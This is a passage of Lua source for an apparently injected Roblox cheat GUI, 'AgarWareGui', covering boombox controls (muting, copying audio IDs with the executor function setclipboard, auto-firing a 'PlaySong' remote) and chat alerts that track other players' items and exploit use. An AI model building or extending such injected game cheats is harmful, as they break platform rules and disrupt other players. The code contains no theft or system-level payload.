									local BoomVolTickBox = BoomVolRow:FindFirstChild("BoomVolTickBox")
	
									if BoomVolChanger then
										boomVolValue = tonumber(BoomVolChanger.Text) or 100
									end
	
									if BoomVolTickBox then
										local tickColor = BoomVolTickBox.BackgroundColor3
										boomVolEnabled = tickColor ~= Color3.new(0, 0, 0)
									end
								end
	
								local targetVolume = boomVolEnabled and (boomVolValue / 100) or 1.0
								descendant.Volume = targetVolume
								originalVolumes[descendant] = nil
								print("[MuteTaco] Sound changed away from target ID - unmuted to", targetVolume)
							end
						end
					end
				end)
			end
		end)
	end
	
	task.spawn(watchForNewSounds)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	MuteTacoTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	MuteTacoRow:SetAttribute("MuteTacoEnabled", false)
	
	print("[MuteTaco] OFF by default - Target ID:", TARGET_AUDIO_ID)
end;
task.spawn(C_27f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomScript
local function C_283()
local script = G2L["283"];
	local ClickBoomRow = script.Parent
	local ClickBoomTickBox = ClickBoomRow:WaitForChild("ClickBoomTickBox")
	
	local function getAccentColor()
		local BoomboxGroup = ClickBoomRow.Parent
		local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
		if a then
			return a.BackgroundColor3
		else
			return Color3.new(1, 1, 1)
		end
	end
	
	-- State
	local isEnabled = false
	local clickConnections = {}
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	local function toggle()
		isEnabled = not isEnabled
	
		if isEnabled then
			ClickBoomTickBox.BackgroundColor3 = getAccentColor()
			enableClickDetection()
		else
			ClickBoomTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
			disableClickDetection()
		end
	end
	
	ClickBoomTickBox.MouseButton1Click:Connect(toggle)
	
	-- ============================================================
	-- EXTRACT AUDIO ID FROM SOUNDID
	-- ============================================================
	local function extractAudioId(soundId)
		-- SoundId format: rbxassetid://142376088
		local id = string.match(soundId, "%d+")
		return id
	end
	
	-- ============================================================
	-- FLASH EFFECT ON BOOMBOX
	-- ============================================================
	local function flashBoombox(handle)
		-- Create a black SelectionBox for flash effect
		local flash = Instance.new("SelectionBox")
		flash.Color3 = Color3.new(0, 0, 0)
		flash.LineThickness = 0.05
		flash.Transparency = 0
		flash.Adornee = handle
		flash.Parent = handle
	
		-- Fade out the flash
		task.spawn(function()
			for i = 0, 1, 0.1 do
				flash.Transparency = i
				task.wait(0.05)
			end
			flash:Destroy()
		end)
	end
	
	-- ============================================================
	-- HANDLE BOOMBOX CLICK
	-- ============================================================
	local function onBoomboxClicked(handle)
		-- Find the Sound
		local sound = handle:FindFirstChild("Sound")
		if not sound or not sound:IsA("Sound") then
			print("[ClickBoom] No sound found in boombox")
			return
		end
	
		local soundId = sound.SoundId
		if soundId == "" then
			print("[ClickBoom] Boombox has no audio playing")
			return
		end
	
		-- Extract the audio ID
		local audioId = extractAudioId(soundId)
		if not audioId then
			print("[ClickBoom] Could not extract audio ID")
			return
		end
	
		-- Copy to clipboard
		setclipboard(audioId)
	
		-- Flash effect
		flashBoombox(handle)
	
		print("[ClickBoom] Copied audio ID:", audioId)
	end
	
	-- ============================================================
	-- SETUP CLICK DETECTION ON HANDLE
	-- ============================================================
	local function setupClickDetection(handle)
		-- Create a ClickDetector
		local clickDetector = Instance.new("ClickDetector")
		clickDetector.MaxActivationDistance = 32
		clickDetector.Parent = handle
	
		-- Connect click event
		local connection = clickDetector.MouseClick:Connect(function(player)
			if isEnabled then
				onBoomboxClicked(handle)
			end
		end)
	
		-- Store connection for cleanup
		clickConnections[handle] = {detector = clickDetector, connection = connection}
	end
	
	-- ============================================================
	-- ENABLE CLICK DETECTION
	-- ============================================================
	function enableClickDetection()
		-- Find all existing boomboxes
		for _, item in ipairs(game.Workspace:GetDescendants()) do
			if item.Name == "SuperFlyGoldBoombox" and item:IsA("Tool") then
				local handle = item:FindFirstChild("Handle")
				if handle and not clickConnections[handle] then
					setupClickDetection(handle)
				end
			end
		end
	
		print("[ClickBoom] Click detection enabled")
	end
	
	-- ============================================================
	-- DISABLE CLICK DETECTION
	-- ============================================================
	function disableClickDetection()
		-- Clean up all click detectors
		for handle, data in pairs(clickConnections) do
			if data.connection then
				data.connection:Disconnect()
			end
			if data.detector and data.detector.Parent then
				data.detector:Destroy()
			end
		end
	
		clickConnections = {}
		print("[ClickBoom] Click detection disabled")
	end
	
	-- ============================================================
	-- WATCH FOR NEW BOOMBOXES
	-- ============================================================
	local function watchForNewBoomboxes()
		game.Workspace.DescendantAdded:Connect(function(descendant)
			if not isEnabled then return end
	
			-- Check if it's a boombox handle
			if descendant.Name == "Handle" and descendant.Parent then
				local boombox = descendant.Parent
				if boombox.Name == "SuperFlyGoldBoombox" and boombox:IsA("Tool") then
					if not clickConnections[descendant] then
						setupClickDetection(descendant)
						print("[ClickBoom] New boombox detected - added click detection")
					end
				end
			end
		end)
	
		-- Clean up when handles are removed
		game.Workspace.DescendantRemoving:Connect(function(descendant)
			if clickConnections[descendant] then
				if clickConnections[descendant].connection then
					clickConnections[descendant].connection:Disconnect()
				end
				if clickConnections[descendant].detector then
					clickConnections[descendant].detector:Destroy()
				end
				clickConnections[descendant] = nil
			end
		end)
	end
	
	task.spawn(watchForNewBoomboxes)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	ClickBoomTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	print("[ClickBoom] OFF by default")
end;
task.spawn(C_283);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayScript
local function C_287()
local script = G2L["287"];
	local AutoPlayRow = script.Parent
	local AutoPlayTickBox = AutoPlayRow:WaitForChild("AutoPlayTickBox")
	local AutoPlayChanger = AutoPlayRow:WaitForChild("AutoPlayChanger")
	
	local function getAccentColor()
		local BoomboxGroup = AutoPlayRow.Parent
		local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
		if a then
			return a.BackgroundColor3
		else
			return Color3.new(1, 1, 1)
		end
	end
	
	-- State
	local isEnabled = false
	local currentAudioId = "142376088"  -- Default audio ID
	local equipDelay = 0.03  -- How long to wait before auto-playing (adjustable)
	
	local Players = game:GetService("Players")
	local player = Players.LocalPlayer
	local currentBoombox = nil  -- Track currently equipped boombox
	
	-- ============================================================
	-- PLAY AUDIO ON CURRENT BOOMBOX
	-- ============================================================
	local function playOnCurrentBoombox(audioId)
		if not currentBoombox then return end
		if not currentBoombox.Parent then 
			currentBoombox = nil
			return 
		end
	
		local remote = currentBoombox:FindFirstChild("Remote")
		if remote then
			remote:FireServer("PlaySong", audioId)
		end
	end
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	local function toggle()
		isEnabled = not isEnabled
	
		if isEnabled then
			AutoPlayTickBox.BackgroundColor3 = getAccentColor()
	
			-- If boombox is currently equipped, play the audio
			if currentBoombox then
				local audioId = tonumber(currentAudioId)
				if audioId then
					playOnCurrentBoombox(audioId)
				end
			end
		else
			AutoPlayTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
			-- If boombox is currently equipped, stop the audio
			if currentBoombox then
				playOnCurrentBoombox(0)  -- Play ID 0 to stop music
			end
		end
	end
	
	-- ============================================================
	-- CLICK HANDLER
	-- ============================================================
	AutoPlayTickBox.MouseButton1Click:Connect(toggle)
	
	-- ============================================================
	-- AUTO-PLAY FUNCTION
	-- ============================================================
	local function autoPlayBoombox(tool)
		if not isEnabled then return end
		if tool.Name ~= "SuperFlyGoldBoombox" then return end
	
		-- Wait for Remote to be available
		local remote = tool:WaitForChild("Remote", 10)
		if not remote then
			return
		end
	
		-- Track this as the current boombox
		currentBoombox = tool
	
		-- Get current audio ID from the changer
		local audioId = tonumber(currentAudioId)
		if not audioId then
			return
		end
	
		-- Wait before auto-playing (adjustable delay)
		task.wait(equipDelay)
	
		-- Fire the server-side PlaySong event
		remote:FireServer("PlaySong", audioId)
	end
	
	-- ============================================================
	-- CHARACTER MONITORING
	-- ============================================================
	local function onCharacterAdded(character)
		-- Monitor when tools get equipped
		character.ChildAdded:Connect(function(child)
			if child:IsA("Tool") then
				autoPlayBoombox(child)
			end
		end)
	
		-- Monitor when tools get unequipped
		character.ChildRemoved:Connect(function(child)
			if child:IsA("Tool") and child.Name == "SuperFlyGoldBoombox" then
				currentBoombox = nil
			end
		end)
	
		-- Check if already equipped
		for _, child in pairs(character:GetChildren()) do
			if child:IsA("Tool") then
				autoPlayBoombox(child)
			end
		end
	end
	
	-- Setup for current character
	if player.Character then
		onCharacterAdded(player.Character)
	end
	
	-- Setup for future characters (respawns)
	player.CharacterAdded:Connect(onCharacterAdded)
	
	-- ============================================================
	-- AUDIO ID CHANGER INPUT
	-- ============================================================
	AutoPlayChanger.FocusLost:Connect(function(enterPressed)
		local text = AutoPlayChanger.Text
		local number = tonumber(text)
	
		if number then
			currentAudioId = tostring(math.floor(number))
			AutoPlayChanger.Text = currentAudioId
	
			-- If enabled and boombox is currently equipped, change the audio immediately
			if isEnabled then
				local audioId = tonumber(currentAudioId)
				if audioId then
					playOnCurrentBoombox(audioId)
				end
			end
		else
			-- Reset to current audio ID if invalid
			AutoPlayChanger.Text = currentAudioId
		end
	end)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	AutoPlayTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	AutoPlayChanger.Text = "142376088"
end;
task.spawn(C_287);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxScript
local function C_28b()
local script = G2L["28b"];
	local DisableBoomboxRow = script.Parent
	local DisableBoomboxTickBox = DisableBoomboxRow:WaitForChild("DisableBoomboxTickBox")
	
	local function getAccentColor()
		local BoomboxGroup = DisableBoomboxRow.Parent
		local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
		if a then
			return a.BackgroundColor3
		else
			return Color3.new(1, 1, 1)
		end
	end
	
	-- State
	local isEnabled = false
	
	local Players = game:GetService("Players")
	local player = Players.LocalPlayer
	
	-- ============================================================
	-- DISABLE GUI FUNCTION
	-- ============================================================
	local function disableChooseSongGui()
		local chooseSongGui = player.PlayerGui:FindFirstChild("ChooseSongGui")
		if chooseSongGui then
			local frame = chooseSongGui:FindFirstChild("Frame")
			if frame then
				frame.Visible = false
			end
		end
	end
	
	-- ============================================================
	-- ENABLE GUI FUNCTION
	-- ============================================================
	local function enableChooseSongGui()
		local chooseSongGui = player.PlayerGui:FindFirstChild("ChooseSongGui")
		if chooseSongGui then
			local frame = chooseSongGui:FindFirstChild("Frame")
			if frame then
				frame.Visible = true
			end
		end
	end
	
	-- ============================================================
	-- MONITOR FOR NEW GUIS
	-- ============================================================
	local function monitorForGuis()
		player.PlayerGui.ChildAdded:Connect(function(child)
			if isEnabled and child.Name == "ChooseSongGui" then
				task.wait()
				disableChooseSongGui()
			end
		end)
	end
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	local function toggle()
		isEnabled = not isEnabled
	
		if isEnabled then
			DisableBoomboxTickBox.BackgroundColor3 = getAccentColor()
			disableChooseSongGui()
		else
			DisableBoomboxTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
			enableChooseSongGui()
		end
	end
	
	-- ============================================================
	-- CLICK HANDLER
	-- ============================================================
	DisableBoomboxTickBox.MouseButton1Click:Connect(toggle)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	DisableBoomboxTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	task.spawn(monitorForGuis)
end;
task.spawn(C_28b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow.EquipBoomboxScript
local function C_28f()
local script = G2L["28f"];
	-- ============================================================
	-- EQUIP BOOMBOX BUTTON
	-- Equips SuperFlyGoldBoombox when you click the button
	-- ============================================================
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local EquipBoomboxButton = script.Parent.EquipBoomboxButton
	
	-- ============================================================
	-- BUTTON CLICK
	-- ============================================================
	EquipBoomboxButton.MouseButton1Click:Connect(function()
		-- Find SuperFlyGoldBoombox in backpack
		local boombox = LocalPlayer.Backpack:FindFirstChild("SuperFlyGoldBoombox")
	
		if boombox then
			-- Move to character (equips it without unequipping other tools)
			boombox.Parent = LocalPlayer.Character
		end
	end)
end;
task.spawn(C_28f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow.EquipBoomboxesScript
local function C_292()
local script = G2L["292"];
	-- ============================================================
	-- EQUIP ALL BOOMBOXES BUTTON
	-- Equips ALL SuperFlyGoldBoombox when you click the button
	-- ============================================================
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local EquipBoomboxesButton = script.Parent.EquipBoomboxesButton
	
	-- ============================================================
	-- BUTTON CLICK
	-- ============================================================
	EquipBoomboxesButton.MouseButton1Click:Connect(function()
		-- Find ALL SuperFlyGoldBoombox in backpack and equip them
		for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
			if v:IsA("Tool") and v.Name == "SuperFlyGoldBoombox" then
				v.Parent = LocalPlayer.Character
			end
		end
	end)
end;
task.spawn(C_292);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertScript
local function C_297()
local script = G2L["297"];
	local AlertGroup = script.Parent
	local AlertMinimize = AlertGroup.AlertTitle.AlertMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(AlertGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = AlertGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	AlertMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			AlertGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			AlertMinimize.Text = "+"
		else
			AlertGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			AlertMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_297);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogScript
local function C_2a3()
local script = G2L["2a3"];
	local Players = game:GetService("Players")
	local TextChatService = game:GetService("TextChatService")
	
	local LocalPlayer = Players.LocalPlayer
	
	local EnlightenLogRow = script.Parent
	local EnlightenLogTickBox = EnlightenLogRow.EnlightenLogTickBox
	local EnlightenLogText = EnlightenLogRow.EnlightenLogText
	
	local AlertGroup = EnlightenLogRow.Parent
	local MiscAccentColor = AlertGroup.AlertAccentColor
	
	local isEnabled = false
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	-- ============================================================
	-- TOOLTIP
	-- ============================================================
	EnlightenLogTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "EnlightenLogTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipText = Instance.new("TextLabel")
	tooltipText.BackgroundTransparency = 1
	tooltipText.Text = "Announces when players receive The Arkenstone (Enlighten) in their backpack"
	tooltipText.TextColor3 = Color3.new(1, 1, 1)
	tooltipText.TextSize = 14
	tooltipText.TextXAlignment = Enum.TextXAlignment.Left
	tooltipText.TextYAlignment = Enum.TextYAlignment.Top
	tooltipText.Font = Enum.Font.GothamSemibold
	tooltipText.TextWrapped = true
	tooltipText.Size = UDim2.new(0, 200, 0, 0)
	tooltipText.AutomaticSize = Enum.AutomaticSize.Y
	tooltipText.ZIndex = 101
	tooltipText.Parent = tooltipFrame
	
	EnlightenLogTickBox.MouseEnter:Connect(function()
		local abs = EnlightenLogTickBox.AbsolutePosition
		local size = EnlightenLogTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	EnlightenLogTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	-- ============================================================
	-- HELPERS
	-- ============================================================
	local function sendChat(message)
		if shared.sendChat then
			shared.sendChat(message)
		end
	end
	
	local function isAdmin(player)
		local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen")
		if not chosenTeam then return false end
		return player.Team == chosenTeam
	end
	
	local function getNonAdminCount()
		local count = 0
		for _, p in pairs(Players:GetPlayers()) do
			if not isAdmin(p) then
				count += 1
			end
		end
		return count
	end
	
	local function playerHasEnlighten(player)
		local backpack = player:FindFirstChild("Backpack")
		local char = workspace:FindFirstChild(player.Name)
		local inBackpack = backpack and backpack:FindFirstChild("The Arkenstone")
		local inChar = char and char:FindFirstChild("The Arkenstone")
		return inBackpack ~= nil or inChar ~= nil
	end
	
	-- ============================================================
	-- WINDOW STATE
	-- ============================================================
	local pendingPlayers = {}
	local windowTimer = nil
	local WINDOW = 1
	
	local function sendEnlightenMessage()
		if #pendingPlayers == 0 then return end
		local nonAdminCount = getNonAdminCount()
	
		-- Only say "everyone" if at least 2 players got it AND it covers all non-admins
		if #pendingPlayers >= 2 and #pendingPlayers >= nonAdminCount then
			sendChat("🌟Everyone has received enlighten")
		elseif #pendingPlayers == 1 then
			sendChat("🌟" .. pendingPlayers[1] .. " has received enlighten")
		else
			sendChat("🌟" .. #pendingPlayers .. " Players have received enlighten")
		end
		pendingPlayers = {}
		windowTimer = nil
	end
	
	local function onPlayerEnlightened(player)
		if not isEnabled then return end
		if isAdmin(player) then return end
		if player == LocalPlayer then return end
	
		print("[ENLIGHTENLOG] " .. player.Name .. " (" .. player.DisplayName .. ") received The Arkenstone")
	
		local alreadyPending = false
		for _, name in ipairs(pendingPlayers) do
			if name == player.DisplayName then
				alreadyPending = true
				break
			end
		end
		if not alreadyPending then
			table.insert(pendingPlayers, player.DisplayName)
		end
	
		if windowTimer then
			task.cancel(windowTimer)
		end
		windowTimer = task.delay(WINDOW, sendEnlightenMessage)
	end
	
	-- ============================================================
	-- WATCH PLAYERS
	-- ============================================================
	local watchedPlayers = {}
	local knownEnlightened = {}
	
	local function watchPlayer(player)
		if watchedPlayers[player] then return end
		watchedPlayers[player] = true
	
		local function watchChar(char)
			if not char then return end
			char.ChildAdded:Connect(function(item)
				if item.Name ~= "The Arkenstone" then return end
				local backpack = player:FindFirstChild("Backpack")
				local wasInBackpack = backpack and backpack:FindFirstChild("The Arkenstone")
				if wasInBackpack then return end
				if knownEnlightened[player] then return end
				knownEnlightened[player] = true
				onPlayerEnlightened(player)
			end)
	
			char.ChildRemoved:Connect(function(item)
				if item.Name ~= "The Arkenstone" then return end
				task.delay(0.3, function()
					local backpack = player:FindFirstChild("Backpack")
					local char2 = workspace:FindFirstChild(player.Name)
					local stillHas = (backpack and backpack:FindFirstChild("The Arkenstone"))
						or (char2 and char2:FindFirstChild("The Arkenstone"))
					if not stillHas then
						knownEnlightened[player] = nil
					end
				end)
			end)
		end
	
		-- Also watch backpack
		local backpack = player:FindFirstChild("Backpack")
		if backpack then
			backpack.ChildAdded:Connect(function(item)
				if item.Name == "The Arkenstone" then
					-- Mark as known when it enters backpack so re-equip doesnt trigger
					knownEnlightened[player] = true
				end
			end)
			backpack.ChildRemoved:Connect(function(item)
				if item.Name ~= "The Arkenstone" then return end
				task.delay(0.3, function()
					local bp = player:FindFirstChild("Backpack")
					local char2 = workspace:FindFirstChild(player.Name)
					local stillHas = (bp and bp:FindFirstChild("The Arkenstone"))
						or (char2 and char2:FindFirstChild("The Arkenstone"))
					if not stillHas then
						knownEnlightened[player] = nil
					end
				end)
			end)
		end
	
		if player.Character then
			watchChar(player.Character)
		end
	
		player.CharacterAdded:Connect(function(char)
			knownEnlightened[player] = nil
			watchChar(char)
		end)
	end
	
	-- ============================================================
	-- ENABLE / DISABLE
	-- ============================================================
	local playerAddedConn = nil
	
	local function enable()
		isEnabled = true
		pendingPlayers = {}
		watchedPlayers = {}
		windowTimer = nil
	
		knownEnlightened = {}
		for _, player in pairs(Players:GetPlayers()) do
			if playerHasEnlighten(player) then
				knownEnlightened[player] = true
			end
		end
	
		for _, player in pairs(Players:GetPlayers()) do
			task.spawn(watchPlayer, player)
		end
	
		playerAddedConn = Players.PlayerAdded:Connect(function(player)
			task.spawn(watchPlayer, player)
		end)
	
		EnlightenLogTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
	end
	
	local function disable()
		isEnabled = false
		pendingPlayers = {}
		watchedPlayers = {}
		knownEnlightened = {}
		if windowTimer then
			task.cancel(windowTimer)
			windowTimer = nil
		end
		if playerAddedConn then
			playerAddedConn:Disconnect()
			playerAddedConn = nil
		end
		EnlightenLogTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	end
	
	EnlightenLogTickBox.MouseButton1Click:Connect(function()
		if isEnabled then disable() else enable() end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			isEnabled = false
			tooltipFrame:Destroy()
			if windowTimer then
				task.cancel(windowTimer)
			end
		end
	end)
end;
task.spawn(C_2a3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteScript
local function C_2aa()
local script = G2L["2aa"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	
	local BkitDeleteRow = script.Parent
	local BkitDeleteTickBox = BkitDeleteRow:WaitForChild("BkitDeleteTickBox")
	local AlertGroup = BkitDeleteRow.Parent
	local MiscAccentColor = AlertGroup:WaitForChild("AlertAccentColor")
	
	local isEnabled = false
	
	--------------------------------------------------
	-- VISUAL
	--------------------------------------------------
	
	BkitDeleteTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	local function updateVisual()
		if isEnabled then
			BkitDeleteTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
		else
			BkitDeleteTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end
	
	BkitDeleteTickBox.MouseButton1Click:Connect(function()
		isEnabled = not isEnabled
		updateVisual()
	end)
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	local stroke = Instance.new("UIStroke", tooltipFrame)
	stroke.Color = Color3.fromRGB(57, 57, 57)
	local padding = Instance.new("UIPadding", tooltipFrame)
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	local label = Instance.new("TextLabel", tooltipFrame)
	label.BackgroundTransparency = 1
	label.Text = "Detects and announces when a player disables bkit using exploits."
	label.TextColor3 = Color3.new(1, 1, 1)
	label.TextSize = 14
	label.TextXAlignment = Enum.TextXAlignment.Left
	label.TextYAlignment = Enum.TextYAlignment.Top
	label.Font = Enum.Font.GothamSemibold
	label.TextWrapped = true
	label.Size = UDim2.new(0, 200, 0, 0)
	label.AutomaticSize = Enum.AutomaticSize.Y
	label.ZIndex = 101
	
	BkitDeleteTickBox.MouseEnter:Connect(function()
		local abs = BkitDeleteTickBox.AbsolutePosition
		local size = BkitDeleteTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	BkitDeleteTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
	
	--------------------------------------------------
	-- SETTINGS
	--------------------------------------------------
	
	local BRICK_SOUND_ID = "rbxassetid://9117183621"
	local IDEAL_DELAY    = 0.1
	local MAX_DELAY      = 0.2  -- ignore anyone past this
	
	--------------------------------------------------
	-- SOUND TRACKING
	--------------------------------------------------
	
	local recentDeleteSound = {}
	
	local function hookHRP(player, hrp)
		local function trackSound(obj)
			if not obj:IsA("Sound") or obj.SoundId ~= BRICK_SOUND_ID then return end
			local lastTime = 0
			local wasPlaying = false
			RunService.Heartbeat:Connect(function()
				if not obj.Parent then return end
				local t = obj.TimePosition
				local playing = obj.IsPlaying
				if playing then
					if not wasPlaying or (lastTime > 0.05 and t < 0.05) then
						recentDeleteSound[player.UserId] = tick()
					end
				end
				lastTime = t
				wasPlaying = playing
			end)
		end
		for _, obj in pairs(hrp:GetDescendants()) do
			trackSound(obj)
		end
		hrp.DescendantAdded:Connect(trackSound)
	end
	
	local function watchPlayer(player)
		if player.Character then
			local hrp = player.Character:FindFirstChild("HumanoidRootPart")
			if hrp then hookHRP(player, hrp) end
		end
		player.CharacterAdded:Connect(function(char)
			local hrp = char:WaitForChild("HumanoidRootPart", 10)
			if hrp then hookHRP(player, hrp) end
		end)
	end
	
	for _, p in ipairs(Players:GetPlayers()) do
		watchPlayer(p)
	end
	Players.PlayerAdded:Connect(watchPlayer)
	
	--------------------------------------------------
	-- SEND CHAT
	--------------------------------------------------
	
	local function sendChat(message)
		if shared.sendChat then
			shared.sendChat(message)
		end
	end
	
	--------------------------------------------------
	-- WATCH BRICK TEMPLATE
	--------------------------------------------------
	
	local brickTemplate = ReplicatedStorage:WaitForChild("Brick")
	local lastDisappear = 0
	
	brickTemplate.AncestryChanged:Connect(function()
		if brickTemplate:IsDescendantOf(ReplicatedStorage) then return end
		if not isEnabled then return end
		if tick() - lastDisappear < 0.5 then return end
		lastDisappear = tick()
	
		local disappearedAt = tick()
	
		-- Wait for sounds to come in after brick deletion
		task.wait(MAX_DELAY)
	
		local best = nil
		local bestDiff = math.huge
	
		for _, player in ipairs(Players:GetPlayers()) do
			local soundTime = recentDeleteSound[player.UserId]
			if soundTime then
				local delay = soundTime - disappearedAt
				-- Only consider sounds played AFTER brick disappeared within MAX_DELAY
				if delay >= 0 and delay <= MAX_DELAY then
					local diff = math.abs(delay - IDEAL_DELAY)
					if diff < bestDiff then
						best = player
						bestDiff = diff
					end
				end
			end
		end
	
		-- Always send the first message
		sendChat("🔊BKIT HAS BEEN DISABLED")
	
		if best then
			task.wait(0.1)
			sendChat("🔊POSSIBLE SUSPECT: " .. best.DisplayName)
		end
	end)
end;
task.spawn(C_2aa);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsScript
local function C_2ae()
local script = G2L["2ae"];
	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local repBrick = ReplicatedStorage:WaitForChild("Brick")
	
	--------------------------------------------------
	-- GUI REFERENCES
	--------------------------------------------------
	local RepPaintsRow = script.Parent
	local AlertGroup = RepPaintsRow.Parent
	local AlertAccentColor = AlertGroup:WaitForChild("AlertAccentColor")
	local RepPaintsTickBox = RepPaintsRow:WaitForChild("RepPaintsTickBox")
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	RepPaintsTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	RepPaintsTickBox:SetAttribute("Enabled", false)
	
	local function updateVisual()
		if RepPaintsTickBox:GetAttribute("Enabled") then
			RepPaintsTickBox.BackgroundColor3 = AlertAccentColor.BackgroundColor3
		else
			RepPaintsTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end
	
	RepPaintsTickBox.MouseButton1Click:Connect(function()
		local state = not RepPaintsTickBox:GetAttribute("Enabled")
		RepPaintsTickBox:SetAttribute("Enabled", state)
		updateVisual()
	end)
	
	updateVisual()
	
	-- Share the enabled state globally so AutoPaintRep can read it
	shared.RepPaintsEnabled = RepPaintsTickBox:GetAttribute("Enabled")
	
	RepPaintsTickBox:GetAttributeChangedSignal("Enabled"):Connect(function()
		shared.RepPaintsEnabled = RepPaintsTickBox:GetAttribute("Enabled")
	end)
	
	-- ============================================================
	-- TOOLTIP
	-- ============================================================
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "RepPaintsTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
